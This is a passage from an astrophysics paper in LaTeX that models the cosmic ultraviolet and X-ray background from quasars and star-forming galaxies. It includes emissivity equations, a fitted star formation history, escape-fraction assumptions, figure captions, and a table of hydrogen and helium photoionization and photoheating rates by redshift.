$ \int_{20}^{24}{f(L,N_{\rm H}) \, d\log{N_{\rm H}}}=1$. Sources absorbed by a column larger (smaller) than $10^{22}\,\,{\rm cm^{-2}}$ are
defined as X-ray Type 2 (Type 1) AGNs. It is assumed that ``Compton-thick" AGNs with columns $\log N_{\rm H}>24$ are not present
in samples detected below 10 keV. Such a population is added by extrapolating the $N_{\rm H}$ function above $\log N_H>24$, keeping
the same normalization up to $\log N_{\rm H}=25$ as well as the same cosmological evolution of Compton-thin AGNs (Ueda {et al.\ } 2003).
We then follow Madau, Ghisellini, \& Fabian (1993) and model the thick blocking material that covers most of the solid angle around the central X-ray source
as a homogeneous spherical cloud of cold material and column $N_{\rm H}$. The radiation transfer is computed with a Monte Carlo code
constructed using the photon-escape weighing method of Pozdnyakov, Sobol', \& Sunyaev (1983). We set the electron temperature equal to zero,
use the full Klein-Nishina scattering cross section, adopt the bound-free opacity associated with standard cosmic-abundance material from
Morrison \& McCammon (1983), and ignore the iron K$\alpha$ emission line in the spectra. Each Monte Carlo run uses $10^6$ photons, and produces
as output an absorbed spectrum, $S_E(N_{\rm H})$. After being reprocessed by cold material along the line of sight, the emergent specific intensity
forms a hump, whose position and width are determined by the competition of bound-free absorption at low energies, and Compton downscattering
and exponential roll-off of the primary spectrum at high energies (Madau {et al.\ } 1993). A small spectral component, equal to 2.5\%
of the primary incident power and representing the flux scattered into the line of sight by electrons in the warm ionized medium,
is added to the transmitted Type 2 flux. The absorbed spectra are then averaged over the $N_{\rm H}$-distribution corresponding to a given luminosity, and normalized
to the unabsorbed 2-10 keV flux,
\begin{equation}
S_E(L)=\frac{\int_{20}^{24} {S_E(N_{\rm H})\,f(L,N_{\rm H})d\log{N_{\rm H}}}} {\int_{2-10\,{\rm keV}}{S_EdE}},
\end{equation}
to yield a flux normalized, luminosity-dependent, average AGN SED. The X-ray proper emissivity as a function of redshift is then obtained
by simply integrating over the HXLF,
\begin{equation}
\epsilon_E(z)=(1+z)^3 \int_{L_{\rm min}}^{L_{\rm max}} {S_E(L)\phi(L,z)L\, dL},
\end{equation}
where we set $L_{\rm min}=10^{41.5}\,\,{\rm ergs\,s^{-1}}$, and $L_{\rm max}=10^{48}\,\,{\rm ergs\,s^{-1}}$.
The model described above is able to reproduce a number of X-ray observations, from the evolution of AGNs in the soft and hard X-ray bands, to the XRB.
The quasar comoving emissivity at 2 keV and 10 keV is plotted in Figure \ref{fig5}, while a global fit to the XRB is shown in the left panel of
Figure \ref{fig6}. The absolute XRB flux is still affected by rather large uncertainties: our model reproduces well the background intensity
measured by {\it HEAO-1} and {\it BeppoSAX}, but the HEAO-1 A2 data are lower by about 20\% with respect to the determinations by,
e.g., {\it XMM} and {\it RXTE} at energies below 10 keV. Figure \ref{fig6} (right panel) depicts the broadband quasar comoving emissivity
per logarithmic bandwidth, $\nu\epsilon_\nu/(1+z)^3$, as a function of photon energy from the optical to hard X-rays. In terms of energy output,
the composite spectrum for $\lambda<5000\,$\AA\ is characterized by two broad bumps, one in the UV at 10 eV and another in the X-ray region at
30 keV (a third peak in the mid-infrared, see, e.g., Sazonov, Ostriker, \& Sunyaev 2004, can be neglected for the present purposes). While X-rays
dominate the energy ouput at $z=0$, the peak of the emitted power moves increasingly towards the UV at redshifts above 1.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig6a.ps}
\includegraphics*[width=0.47\textwidth]{fig6b.ps}
\vspace{-0.3cm}
\caption{\footnotesize {\it Left panel:} The cosmic XRB spectrum and the predicted contribution from AGNs. {\it Grey points:} {\it HEAO}-1 A2 HED data
(Gruber {et al.\ } 1999). {\it Dark green points:} {\it HEAO}-1 A4 LED (Gruber {et al.\ } 1999). {\it Cyan points}: {\it Rossi-XTE} (Revnivtsev {et al.\ } 2003).
{\it Blue point:} 0.25 keV soft XRB intensity from {\it ROSAT} shadowing experiments (Warwick \& Roberts 1998).
{\it Red bowtie:} {\it HEAO}-1 A4 MED (Kinzer {et al.\ } 1997).
{\it Blue bowtie}: {\it ROSAT} PSPC data (Georgantopoulos {et al.\ } 1996).
{\it Light green bowtie:} {\it BeppoSAX} (Vecchi {et al.\ } 1999). {\it Purple and yellow bowties:}
{\it Newton-XMM} (Lumb {et al.\ } 2002; De Luca \& Molendi 2004). {\it Solid line:} our synthesis model spectrum, produced by a mixture of
absorbed ($\log N_{\rm H}>22$, {\it short-dashed line}) and unabsorbed ($\log N_{\rm H}<22$, {\it long-dashed line}) AGNs. See text for details.
{\it Right panel:} The broadband quasar comoving emissivity per logarithmic bandwidth, $\nu\epsilon_\nu/(1+z)^3$ (in units of $10^{39}$
ergs s$^{-1}$ Mpc$^{-3}$), as a function of photon energy $E$ from the optical to hard X-rays. The composite spectrum is shown at redshifts $z=0,1,3,5$.
}
\label{fig6}
\vspace{+0.3cm}
\end{figure}
\section{Galaxy emissivity}
Star-forming galaxies are expected to play a dominant role as sources of hydrogen-ionizing radiation at $z>3$
as the quasar population declines with lookback time. To compute the LyC emissivity from galaxies at all epochs, we start
with an empirical determination of the star formation history of the universe following Madau {et al.\ } (1996).
We adopt the far-UV (FUV, 1500 \AA) luminosity functions of Schiminovich {et al.\ } (2005) in the redshift range $0\le z \le 2$,
of Reddy \& Steidel (2009) at $z=2.3$ and 3.05, and of Bouwens {et al.\ } (2011) at redshifts 3.8, 5.0, 5.9, 6.8, and
8.0. All were integrated down to $L_{\rm min}=0.01\,L_*$ using Schechter function fits with parameters
$(\phi_*, L_*, \alpha)$ to compute the dust-reddened galaxy FUV luminosity density $\rho_{\rm FUV}$\footnote{In this section we use the notation
$\rho_\nu(z)\equiv \epsilon_\nu(z)/(1+z)^3$, i.e., the term {\it luminosity density} is synonymous with {\it comoving specific emissivity}.},
\begin{equation}
\rho_{\rm FUV}(z)=\int_{0.01L_*}^\infty L\phi(L,z)dL=\Gamma(2+\alpha,0.01)\phi_*L_*.
\end{equation}
Here $\alpha$ denotes the faint-end slope of the Schechter parameterization and $\Gamma$ is the incomplete gamma function.
We used $\alpha=-1.6$ at $0<z<2$, $\alpha=-1.73$ at $z=2.3$ and $z=3.05$, and $\alpha=-1.73, -1.66, -1.74, -2.01, -1.91$ at
$z=3.8, 5.0, 5.9, 6.8, 8.0$, respectively (see Schiminovich {et al.\ } 2005; Reddy \& Steidel 2009; Bouwens {et al.\ } 2011).
Dust attenuation was treated using a Calzetti {et al.\ } (2000) extinction law, with the function
\begin{equation}
A(\nu,z)=A_{\rm FUV}(z){k(\nu)\over k(1500\,{\rm \AA})}
\label{eq:Anu}
\end{equation}
measuring the magnitudes of attenuation suffered at frequency $\nu$ and redshift $z$. For the luminosity-weighted obscuration at 1500 \AA\
we take
\begin{equation}
A_{\rm FUV}(z)=\begin{cases} 1 & (0\le z\le 2);\\
2.5 \log [(1+1.5/(z-1)] & (z>2).
\end{cases}
\label{eq:AFUV}
\end{equation}
The above expression reproduces at $z\le 2$ the FUV ``minimum dust correction factor" of 2.5 from Schiminovich {et al.\ } (2005), the dust
correction factors of $2.38\pm 0.59$ and $2.0\pm 0.62$ at $z=2.3$ and $z=3.05$ from Reddy \& Steidel (2009), and the decreasing dust
attenuation at higher redshift from Bouwens {et al.\ } (2011). The dust-corrected luminosity densities were smoothed with an approximating
function and then compared with the results of spectral population synthesis models as follows. The GALAXEV library of Bruzual \& Charlot (2003)
provides the age-luminosity evolution for a simple stellar population (SSP) at different wavelengths. The FUV luminosity density (before
dust obscuration) at time $t$ of a ``cosmic stellar population" characterized by a star formation rate density SFRD$(t)$ and a metal-enrichment
law $Z(t)$ is given by the convolution integral
\begin{equation}
\rho_{\rm FUV}(t)=\int_0^t {\rm SFRD}(t-\tau)l_{\rm FUV}[\tau,Z(t-\tau)]d\tau,
\label{eq:rhofuv}
\end{equation}
where $l_{\rm FUV}[\tau,Z(t-\tau)]$ is specific luminosity radiated at 1500 \AA\ per unit initial stellar mass by an SSP
at age $\tau$ and metallicity $Z(t-\tau)$. We use SSPs of decreasing metallicities with redshift according to
\begin{equation}
Z(z)=Z_\odot 10^{-0.15z}
\end{equation}
(Kewley \& Kobulnicky 2007), for a Salpeter IMF between 0.1 and 100 $\,{\rm M_\odot}$. Starting from an initial guess, the function SFRD$(t)$ was adjusted
in an iterative fashion until the computed FUV luminosity densities as a function of redshift provided a good match to the data. The
best-fitting star formation history,
\begin{equation}
{\rm SFRD}(z)={6.9\times 10^{-3}+0.14(z/2.2)^{1.5}\over 1+(z/2.7)^{4.1}}\,\,{\rm M_\odot\,yr^{-1}\,Mpc^{-3}},
\label{eq:sfrd}
\end{equation}
is shown in Figure \ref{fig7} (left panel), together with the observed luminosity densities adopted in this study. The latter have been
converted to ongoing star formation rate densities according to
\begin{equation}
{\rm SFRD}(t)={\cal K}\times \rho_{\rm FUV}(t);~~~~~{\cal K}=1.05\times 10^{-28},
\end{equation}
where $\rho_{\rm FUV}$ is expressed in units of $\,{\rm ergs\,s^{-1}\,Mpc^{-3}\,Hz^{-1}}$ and SFRD is in units of $\,{\rm M_\odot\,yr^{-1}\,Mpc^{-3}}$. This approximate transformation
makes use of the basic property that the FUV continuum in galaxies is dominated by short-lived massive stars, and is
therefore a direct measure, for a given IMF and dust content, of the instantaneous star formation rate. The conversion
factor ${\cal K}$ in the equation above reproduces to within 2\% the results of the synthesis models above redshift 2
given the adopted star formation and metal enrichment history (cf. Madau, Pozzetti, \& Dickinson 1998).
At redshift $0<z<1$, ${\cal K}$ decreases from $1.16\times 10^{-28}$ to $1.10 \times 10^{-28}$. Note that these
newly derived conversion factors are between 21\% and 33\% smaller than the widely used value, ${\cal K}=1.4\times 10^{-28}$,
quoted by Kennicutt (1998) (and based on the calibration by Madau {et al.\ } 1998), the differences reflecting
updated stellar population synthesis models and subsolar metallicities at high redshifts.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig7a.ps}
\includegraphics*[width=0.47\textwidth]{fig7b.ps}
\caption{\footnotesize {\it Left:} The cosmic history of star formation. The FUV data points from Schiminovich {et al.\ } (2005) ({\it blue dots}),
Reddy \& Steidel (2009) ({\it red squares}) and Bouwens {et al.\ } (2011) ({\it magenta pentagons}) have been converted to instantaneous star
formation rate density using the conversion factor ${\cal K}=1.05\times 10^{-28}$ (see text for details). The best-fitting star formation
history, ${\rm SFRD}(z)=[6.9\times 10^{-3}+0.14(z/2.2)^{1.5}]/[1+(z/2.7)^{4.1}]\,\,{\rm M_\odot\,yr^{-1}\,Mpc^{-3}}$, is plotted with the solid blue curve.
{\it Right:} Comoving galaxy emissivity (in units of $10^{23}\,\,{\rm ergs\,s^{-1}\,Mpc^{-3}\,Hz^{-1}}$) of 1 ryd photons escaping into the IGM ({\it dashed line}),
for an escape fraction $\langle f_{\rm esc}\rangle=1.8\times 10^{-4}(1+z)^{3.4}$. The solid line shows the best-fit QSO emissivity of
eq. (\ref{eqemiss}) for comparison, while the dot-dashed line shows the total quasars $+$ galaxies emissivity.
}
\label{fig7}
\vspace{+0.3cm}
\end{figure}
Once the star formation history has been determined, we use stellar synthesis models to compute the dust-reddened frequency-dependent
UV emissivity as
\begin{equation}
\rho_\nu(t)=C(t)\int_0^t {\rm SFRD}(t-\tau)l_\nu[\tau,Z(t-\tau)]d\tau.
\label{eq:rhoi}
\end{equation}
We take $C(t)\equiv 10^{-0.4A(\nu,t)}$ at all photon energies below 1 ryd, and $C(t) \equiv \langle f_{\rm esc}\rangle$ above the Lyman
limit. In our treatment, the escape fraction $\langle f_{\rm esc}\rangle$ is a free parameter that incorporates local continuum absorption by hydrogen, helium,
and dust. It is the angle-averaged, absorption cross
section-weighted, and luminosity-weighted fraction of ionizing radiation that leaks into the IGM from star-forming galaxies:
the escaping radiation is produced not by sources in a semiopaque medium but by a small fraction of essentially unobscured
sources (e.g., Gnedin, Kravtsov, \& Chen 2008). In the ``minimal reionization model" discussed in detail in the next section,
the escape fraction of photons between 1 and 4 ryd is assumed to be a steeply rising function of redshift (see also Inoue, Iwata, \& Deharveng 2006),
\begin{equation}
\langle f_{\rm esc}\rangle=1.8\times 10^{-4}(1+z)^{3.4},
\label{eqno:fesc}
\end{equation}
and is zero above 4 ryd. The expression above yields an escape fraction at $z=3.3$ of 2.6\%, comparable to the recent upper limit for $L>L_*$ Lyman
break galaxies of Boutsia {et al.\ } (2011). The relatively low values of $\langle f_{\rm esc}\rangle$ implied by the above expression in the
redshift interval from $z=2$ (0.8\%) to $z=5$ (8\%) are dictated in our model by the need to reproduce the hydrogen-ionization rates
inferred from flux decrement measurements (see
Fig. \ref{fig8} below). In the same redshift range, the escape fraction of ionizing radiation from star-forming galaxies hosting
a $\gamma$-ray burst is measured to be $\langle f_{\rm esc}\rangle\le$ 7.5\% (95\% c.l.) (Chen, Prochaska, \& Gnedin 2007), in agreement
with our expression. The high values predicted by equation (\ref{eqno:fesc}) above redshift 7, in excess of 20\%, are needed to compensate
for the decline in the star formation rate density and to reionize the IGM at early enough epochs. The resulting galaxy
emissivity of 1 ryd photons escaping into the IGM is shown in the right panel of Figure \ref{fig7}. Galaxies dominate over QSOs at all redshifts $z>4$, and
make a negligible contribution to the ionizing background at $z<3$. The total comoving emissivity from quasars $+$ galaxies decreases only weakly
from $z=3$ to $z=5$, and is fairly flat afterwards. This trend is consistent with the conclusions reached by Bolton \& Haehnelt (2007) and
Faucher-Gigu\`ere {et al.\ } (2008a) from empirical measurements of the Ly$\alpha$\ forest opacity.
\subsection{Ly$\alpha$ emission from galaxies}
Stellar population synthesis codes do not typically include nebular line emission. Here, we provide a simple estimate of the Ly$\alpha$\ emission from
hydrogen recombinations in the interstellar medium of galaxies. In case B recombination, about 68\% of all the absorbed LyC photons will be converted
locally into Ly$\alpha$\ (Osterbrock 1989). The Ly$\alpha$\ proper volume emissivity can then be written as
\begin{equation}
\epsilon_{\alpha}(z)=h\nu_\alpha \delta(\nu-\nu_\alpha) \dot n_{\alpha}(z),
\label{eq:lyagal}
\end {equation}
where
\begin{equation}
\dot n_{\alpha}(z)=0.68 (1-\langle f_{\rm esc}\rangle)\, \int_{\nu_L}^\infty {d\nu\over h\nu} \epsilon_\nu(z)
\end{equation}
and $\epsilon_\nu$ is the proper volume emissivity from galaxies. We assume here that Ly$\alpha$\ suffers the same dust extinction as LyC,
a simple treatment that is unlikely to capture the complex radiative transfer physics of the Ly$\alpha$\ line as it propagates through the dusty ISM
(see, e.g., Caplan \& Deharveng 1986; Neufeld 1991; Dijkstra 2009; Scarlata et al. 2009; Dayal, Ferrara \& Saro 2010). Inserting equation
(\ref{eq:lyagal}) into (\ref{Jnu}) yields the additional flux observed at $\nu_o \leq \nu_\alpha$ from galaxy Ly$\alpha$\ :
\begin{equation}
J_{\nu_o}(z_o) =
\frac{h}{4\pi}\frac{c}{H(z_\alpha)} \left(\frac{\nu_o}{\nu_\alpha}\right)^3 \dot n_{\alpha}(z_\alpha),
\end{equation}
where $1+z_\alpha=(\nu_\alpha/\nu_o) (1+z_o)$. We have neglected collisionally excited Ly$\alpha$\ emission, as this is only about 10-20\% of the
recombination term (Dayal et al. 2010). A similar contribution is also expected in the emitted spectrum of dense absorbers like the SLLSs and DLAs,
while collisional excitation is always negligible in lower column density systems.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig8a.ps}
\includegraphics*[width=0.47\textwidth]{fig8b.ps}
\vspace{-0.3cm}
\caption{\footnotesize {\it Left:} The hydrogen photoionization rate, $\Gamma_{\rm HI}$, from $z=1$ to $z=7$. {\it Solid curve:} quasars $+$ galaxies
model. The dashed curves depict the individual contributions of the QSO population ({\it blue}) that dominates at low redshift and of the galaxy
population ({\it red}) that reionize the IGM at early times. {\it Circles:} empirical measurements from the Ly$\alpha$\ forest effective opacity by
Bolton \& Haehnelt (2007). {\it Triangles:} same by Becker, Rauch, \& Sargent (2007) (their lognormal model).
{\it Squares:} same by Faucher-Gigu\`ere {et al.\ } (2008a). {\it Pentagons:} same using the quasar proximity effect by
Calverley {et al.\ } (2011).
{\it Right:} The hydrogen photoheating rate {\it per ion}, ${\cal H}_{\rm HI}$ ({\it upper set of curves}), and the \hbox{He~$\scriptstyle\rm II$}\ photoheating rate, ${\cal
H}_{\rm HeII}$ ({\it lower set of curves}), from the present epoch to $z=9$. All photoheating rates are expressed in units of
$10^{-12}$ eV s$^{-1}$. {\it Solid lines:} quasars $+$ galaxies.
{\it Dashed lines:} quasar-only. The addition of a galaxy component boosts the \hbox{H~$\scriptstyle\rm I$}\ rate and decreases the \hbox{He~$\scriptstyle\rm II$}\ rate.
The dotted line shows the Compton heating rate per electron in units of $10^{-18}$ eV s$^{-1}$.
}
\vspace{+0.3cm}
\label{fig8}
\end{figure}
\section{Basic results}
This section gives a quick overview of the main results generated by the upgraded CUBA radiative transfer code,
using the formalism and parameters described above. CUBA solves the radiative transfer equation (\ref{Jnu}) by iteration, as its right-hand term
implicitly contains $J$ in the recombination emissivity and in the effective helium opacity.
\subsection{Photoionization and photoheating rates}
The total optically thin photoionization rate of hydrogen, $\Gamma_{\rm HI}$, is shown in Figure \ref{fig8} as a function of redshift (left panel).
For comparison, we have also plotted the individual contributions of the QSO population that dominates at low redshift and of the galaxy
population that reionize the IGM at early times, together with the empirical measurements from the Ly$\alpha$\ forest effective opacity by
Bolton \& Haehnelt (2007), Becker, Rauch, \& Sargent (2007), and Faucher-Gigu\`ere {et al.\ } (2008a), and from the quasar proximity effect by
Calverley {et al.\ } (2011). The fractional recombination contribution
to $\Gamma_{\rm HI}$ increases from 9\% at $z=0$ to 18\% at $z=4$ to up to 37\% at $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 7$: it does so because the mean free path
of recombination photons decreases with lookback time and a smaller fraction of such photons gets redshifted below the ionization threshold
before capture (Faucher-Gigu\`ere {et al.\ } 2009). While the total \hbox{H~$\scriptstyle\rm I$}\ photoionization rate provides a good match to the data, we note that there are large
systematic uncertainties in the measurements as these depend on the assumed IGM temperature and gas density distribution.
The right panel of the same figure depicts the optically thin photoheating rates {\it per ion} (see eq. A7 with ${\cal J}_\nu=J_\nu$ for the definition)
of hydrogen, ${\cal H}_{\rm HI}$, and \hbox{He~$\scriptstyle\rm II$}, ${\cal H}_{\rm HeII}$, for the quasars $+$ galaxies and quasar-only models. The addition of a galaxy component
boosts the \hbox{H~$\scriptstyle\rm I$}\ rate as it increases the emissivity of hydrogen-ionizing photons at fixed \hbox{H~$\scriptstyle\rm I$}\ opacity (the latter being determined by the observations).
The opposite is true for \hbox{He~$\scriptstyle\rm II$}\ photoheating (as well as \hbox{He~$\scriptstyle\rm II$}\ photoionization), as galaxies do not contribute to the emissivity above 4 ryd:
this increases the predicted \hbox{He~$\scriptstyle\rm II$}\ opacity (again at fixed \hbox{H~$\scriptstyle\rm I$}\ opacity) and causes a large break in the background spectrum at 4 ryd and a smaller
photoheating rate. While the Compton heating rate {\it per electron} is many orders of magnitude (about 7 dex at redshift 3) below the \hbox{H~$\scriptstyle\rm I$}\
photoheating rate (note the different normalization of the heating rates plotted in Fig. \ref{fig8}), it is a non-negligible source of heating
for very underdense, highly ionized regions: the Compton heating rate for intergalactic gas at overdensity 0.1, temperature $T=10^4$ K,
and redshifts $z=(1,2,3)$ is $(53,16,4)$\% of the total photoheating rate. Table 3 tabulates the optically thin photoionization and photoheating
rates of hydrogen and helium predicted by our ``quasars $+$ galaxies" model for use, e.g., in cosmological hydrodynamics simulations of the Ly$\alpha$\ forest.
\begin{table}[h]
\centering
\caption[]{The cosmic background photoionization and photoheating rates.}
\label{photoion}
\begin{tabular}{ccccccc}
\hline\hline\noalign{\smallskip}
$z$ & $\Gamma_{\rm HI}$ & ${\cal H}_{\rm HI}$ & $\Gamma_{\rm HeI}$ & ${\cal H}_{\rm HeI}$ & $\Gamma_{\rm HeII}$ & ${\cal H}_{\rm HeII}$\\
& (s$^{-1})$ & (eV s$^{-1}$) & (s$^{-1})$ & (eV s$^{-1}$) & (s$^{-1})$ & (eV s$^{-1}$)\\
\noalign{\smallskip}\hline\noalign{\smallskip}
0.00 & 0.228E-13 & 0.889E-13 & 0.124E-13 & 0.112E-12 & 0.555E-15 & 0.114E-13 \\
0.05 & 0.284E-13 & 0.111E-12 & 0.157E-13 & 0.140E-12 & 0.676E-15 & 0.138E-13 \\
0.10 & 0.354E-13 & 0.139E-12 & 0.196E-13 & 0.174E-12 & 0.823E-15 & 0.168E-13 \\
0.16 & 0.440E-13 & 0.173E-12 & 0.246E-13 & 0.216E-12 & 0.100E-14 & 0.203E-13 \\
0.21 & 0.546E-13 & 0.215E-12 & 0.307E-13 & 0.267E-12 & 0.122E-14 & 0.245E-13 \\
0.27 & 0.674E-13 & 0.266E-12 & 0.383E-13 & 0.331E-12 & 0.148E-14 & 0.296E-13 \\
0.33 & 0.831E-13 & 0.329E-12 & 0.475E-13 & 0.408E-12 & 0.180E-14 & 0.357E-13 \\
0.40 & 0.102E-12 & 0.405E-12 & 0.587E-13 & 0.502E-12 & 0.218E-14 & 0.429E-13 \\
0.47 & 0.125E-12 & 0.496E-12 & 0.722E-13 & 0.615E-12 & 0.263E-14 & 0.514E-13 \\
0.54 & 0.152E-12 & 0.605E-12 & 0.884E-13 & 0.751E-12 & 0.317E-14 & 0.615E-13 \\
0.62 & 0.185E-12 & 0.734E-12 & 0.108E-12 & 0.911E-12 & 0.380E-14 & 0.732E-13 \\
0.69 & 0.223E-12 & 0.885E-12 & 0.130E-12 & 0.110E-11 & 0.454E-14 & 0.867E-13 \\
0.78 & 0.267E-12 & 0.106E-11 & 0.157E-12 & 0.132E-11 & 0.538E-14 & 0.102E-12 \\
0.87 & 0.318E-12 & 0.126E-11 & 0.187E-12 & 0.157E-11 & 0.633E-14 & 0.119E-12 \\
0.96 & 0.376E-12 & 0.149E-11 & 0.222E-12 & 0.186E-11 & 0.738E-14 & 0.139E-12 \\
1.05 & 0.440E-12 & 0.175E-11 & 0.261E-12 & 0.217E-11 & 0.852E-14 & 0.159E-12 \\
1.15 & 0.510E-12 & 0.203E-11 & 0.302E-12 & 0.251E-11 & 0.970E-14 & 0.181E-12 \\
1.26 & 0.585E-12 & 0.232E-11 & 0.346E-12 & 0.287E-11 & 0.109E-13 & 0.202E-12 \\
1.37 & 0.660E-12 & 0.262E-11 & 0.391E-12 & 0.323E-11 & 0.119E-13 & 0.221E-12 \\
1.49 & 0.732E-12 & 0.290E-11 & 0.434E-12 & 0.357E-11 & 0.127E-13 & 0.237E-12 \\
1.61 & 0.799E-12 & 0.317E-11 & 0.474E-12 & 0.387E-11 & 0.132E-13 & 0.247E-12 \\
1.74 & 0.859E-12 & 0.341E-11 & 0.509E-12 & 0.413E-11 & 0.134E-13 & 0.253E-12 \\
1.87 & 0.909E-12 & 0.360E-11 & 0.538E-12 & 0.432E-11 & 0.133E-13 & 0.252E-12 \\
2.01 & 0.944E-12 & 0.374E-11 & 0.557E-12 & 0.444E-11 & 0.128E-13 & 0.244E-12 \\
2.16 & 0.963E-12 & 0.381E-11 & 0.567E-12 & 0.446E-11 & 0.119E-13 & 0.229E-12 \\
2.32 & 0.965E-12 & 0.382E-11 & 0.566E-12 & 0.438E-11 & 0.106E-13 & 0.207E-12 \\
2.48 & 0.950E-12 & 0.375E-11 & 0.555E-12 & 0.422E-11 & 0.904E-14 & 0.178E-12 \\
2.65 & 0.919E-12 & 0.363E-11 & 0.535E-12 & 0.398E-11 & 0.722E-14 & 0.145E-12 \\
2.83 & 0.875E-12 & 0.346E-11 & 0.508E-12 & 0.368E-11 & 0.530E-14 & 0.111E-12 \\
3.02 & 0.822E-12 & 0.325E-11 & 0.476E-12 & 0.336E-11 & 0.351E-14 & 0.775E-13 \\
3.21 & 0.765E-12 & 0.302E-11 & 0.441E-12 & 0.304E-11 & 0.208E-14 & 0.497E-13 \\
3.42 & 0.705E-12 & 0.279E-11 & 0.406E-12 & 0.274E-11 & 0.114E-14 & 0.296E-13 \\
3.64 & 0.647E-12 & 0.257E-11 & 0.372E-12 & 0.249E-11 & 0.591E-15 & 0.168E-13 \\
3.87 & 0.594E-12 & 0.236E-11 & 0.341E-12 & 0.227E-11 & 0.302E-15 & 0.925E-14 \\
4.11 & 0.546E-12 & 0.218E-11 & 0.314E-12 & 0.209E-11 & 0.152E-15 & 0.501E-14 \\
4.36 & 0.504E-12 & 0.202E-11 & 0.291E-12 & 0.194E-11 & 0.760E-16 & 0.267E-14 \\
4.62 & 0.469E-12 & 0.189E-11 & 0.271E-12 & 0.181E-11 & 0.375E-16 & 0.141E-14 \\
4.89 & 0.441E-12 & 0.178E-11 & 0.253E-12 & 0.170E-11 & 0.182E-16 & 0.727E-15 \\
5.18 & 0.412E-12 & 0.167E-11 & 0.237E-12 & 0.160E-11 & 0.857E-17 & 0.365E-15 \\
5.49 & 0.360E-12 & 0.148E-11 & 0.214E-12 & 0.146E-11 & 0.323E-17 & 0.156E-15 \\
5.81 & 0.293E-12 & 0.123E-11 & 0.184E-12 & 0.130E-11 & 0.117E-17 & 0.624E-16 \\
6.14 & 0.230E-12 & 0.989E-12 & 0.154E-12 & 0.112E-11 & 0.442E-18 & 0.269E-16 \\
6.49 & 0.175E-12 & 0.771E-12 & 0.125E-12 & 0.952E-12 & 0.173E-18 & 0.128E-16 \\
6.86 & 0.129E-12 & 0.583E-12 & 0.992E-13 & 0.783E-12 & 0.701E-19 & 0.674E-17 \\
7.25 & 0.928E-13 & 0.430E-12 & 0.761E-13 & 0.625E-12 & 0.292E-19 & 0.388E-17 \\
7.65 & 0.655E-13 & 0.310E-12 & 0.568E-13 & 0.483E-12 & 0.125E-19 & 0.240E-17 \\
8.07 & 0.456E-13 & 0.219E-12 & 0.414E-13 & 0.363E-12 & 0.567E-20 & 0.155E-17 \\
8.52 & 0.312E-13 & 0.153E-12 & 0.296E-13 & 0.266E-12 & 0.274E-20 & 0.103E-17 \\
8.99 & 0.212E-13 & 0.105E-12 & 0.207E-13 & 0.191E-12 & 0.144E-20 & 0.698E-18 \\
9.48 & 0.143E-13 & 0.713E-13 & 0.144E-13 & 0.134E-12 & 0.819E-21 & 0.476E-18 \\
9.99 & 0.959E-14 & 0.481E-13 & 0.982E-14 & 0.927E-13 & 0.499E-21 & 0.326E-18 \\
10.50 & 0.640E-14 & 0.323E-13 & 0.667E-14 & 0.636E-13 & 0.325E-21 & 0.224E-18 \\
11.10 & 0.427E-14 & 0.217E-13 & 0.453E-14 & 0.435E-13 & 0.212E-21 & 0.153E-18 \\
11.70 & 0.292E-14 & 0.151E-13 & 0.324E-14 & 0.314E-13 & 0.143E-21 & 0.106E-18 \\
12.30 & 0.173E-14 & 0.915E-14 & 0.202E-14 & 0.198E-13 & 0.984E-22 & 0.752E-19 \\
13.00 & 0.102E-14 & 0.546E-14 & 0.123E-14 & 0.122E-13 & 0.681E-22 & 0.531E-19 \\
13.70 & 0.592E-15 & 0.323E-14 & 0.746E-15 & 0.749E-14 & 0.473E-22 & 0.373E-19 \\
14.40 & 0.341E-15 & 0.189E-14 & 0.446E-15 & 0.455E-14 & 0.330E-22 & 0.257E-19 \\
15.10 & 0.194E-15 & 0.110E-14 & 0.262E-15 & 0.270E-14 & 0.192E-22 & 0.154E-19 \\
\noalign{\smallskip}\hline\noalign{\smallskip}
\end{tabular}
\end{table}
\subsection{Background spectral energy distribution}
Figure \ref{fig9} shows the spectrum of the radiation background as a function of redshift for a ``quasar-only" model, together with the old results from Paper
II. The new spectra are characterized by a lower UV flux (by as much as a factor of 3 at 1 ryd and $z=3$), smaller spectral breaks at 1 and 4 ryd
because of the reduced \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ LyC absorption, a sawtooth modulation by the Lyman series of \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ that becomes more and more
pronounced with increasing redshift, and a flatter soft X-ray spectrum.
\begin{figure*}[thb]
\centering
\includegraphics*[width=0.9\textwidth]{fig9.ps}
\vspace{-0.3cm}
\caption{\footnotesize The broadband spectrum of a ``quasar-only" cosmic background between 5 \AA\ and 5,000 \AA\ at epochs $z=0, 1, 3, $and 5. The new
models ({\it black curves}) are compared with the old results of Paper II ({\it blue curves}). The intensity $J_\nu$ is expressed in
units of $10^{-22}\,\,{\rm ergs\,cm^{-2}\,s^{-1}\,Hz^{-1}\,sr^{-1}}$. The vertical thin lines indicate the positions of the \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ and Lyman limit.
}
\vspace{+0.3cm}
\label{fig9}
\end{figure*}
\begin{figure*}[thb]
\centering
\includegraphics*[width=0.9\textwidth]{fig10.ps}
\vspace{-0.3cm}
\caption{\footnotesize The broadband spectrum of a ``quasars $+$ galaxies" cosmic background at redshifts $z=1.1, 3, 4.9,$ and 5.9 ({\it black curves}).
The new ``quasar-only" model of Fig. \ref{fig9} is plotted for comparison ({\it red curves}). The intensity $J_\nu$ is expressed in
units of $10^{-22}\,\,{\rm ergs\,cm^{-2}\,s^{-1}\,Hz^{-1}\,sr^{-1}}$. The vertical thin lines indicate the positions of the \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ and Lyman limit.
}
\vspace{+0.3cm}
\label{fig10}
\end{figure*}
The addition of radiation from galaxies has little effect on the ionizing background at redshifts below 3, as shown in Figure \ref{fig10}, a
consequence of our adopted redshift-dependent escape fraction. At higher redshifts the impact is more dramatic: a large boost at 1 ryd is
associated with a much sharper \hbox{He~$\scriptstyle\rm II$}\ sawtooth and \hbox{He~$\scriptstyle\rm II$}\ absorption edge. As noted above regarding the photoheating rates,
this arises because galaxy spectra are truncated at 4 ryd, and the large increase in the H-ionizing emissivity from the early galaxy population
